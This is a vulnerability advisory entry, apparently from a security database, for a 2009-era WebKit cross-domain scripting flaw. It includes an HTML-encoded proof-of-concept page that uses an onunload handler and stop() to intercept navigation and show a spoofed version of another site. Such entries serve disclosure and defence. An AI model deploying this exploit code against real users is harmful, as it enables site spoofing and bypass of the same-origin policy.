WebKit JavaScript 'onload()' Event Cross Domain Scripting Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

WebKit JavaScript 'onload()' Event Cross Domain Scripting Vulnerability. Allows Cross-Domain Scripting Through New Webpage Loadin


                                                source: http://www.securityfocus.com/bid/35315/info

WebKit is prone to a cross-domain scripting vulnerability because it fails to properly restrict the access of JavaScript code when loading new webpages.

A remote attacker can exploit this vulnerability to bypass the same-origin policy and obtain potentially sensitive information or to launch spoofing attacks against other sites. Other attacks are also possible.

NOTE: This issue was previously covered in BID 35260 (Apple Safari Prior to 4.0 Multiple Security Vulnerabilities), but has been assigned its own record to better document it.

&#60;html&#62; &#60;body onunload=&#39;intercept()&#39;&#62; &#60;script&#62; function intercept() { setTimeout(&#39;update_page()&#39;,10); stop(); } function update_page() { document.getElementById(&#39;hideme&#39;).style.visibility = &#34;hidden&#34;; document.getElementById(&#39;showme&#39;).style.visibility = &#34;visible&#34;; document.getElementById(&#39;sitename&#39;).innerHTML = document.location; } &#60;/script&#62; &#60;span id=showme style=&#34;visibility: hidden&#34;&#62; &#60;font size=+1 color=teal&#62;This is a spoofed version of &#60;b&#62;&#60;span id=sitename&#62;&#60;/span&#62;&#60;/b&#62;&#60;/font&#62; &#60;/span&#62; &#60;br&#62; &#60;span id=hideme&#62;Please navigate away from this page.&#60;/span&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1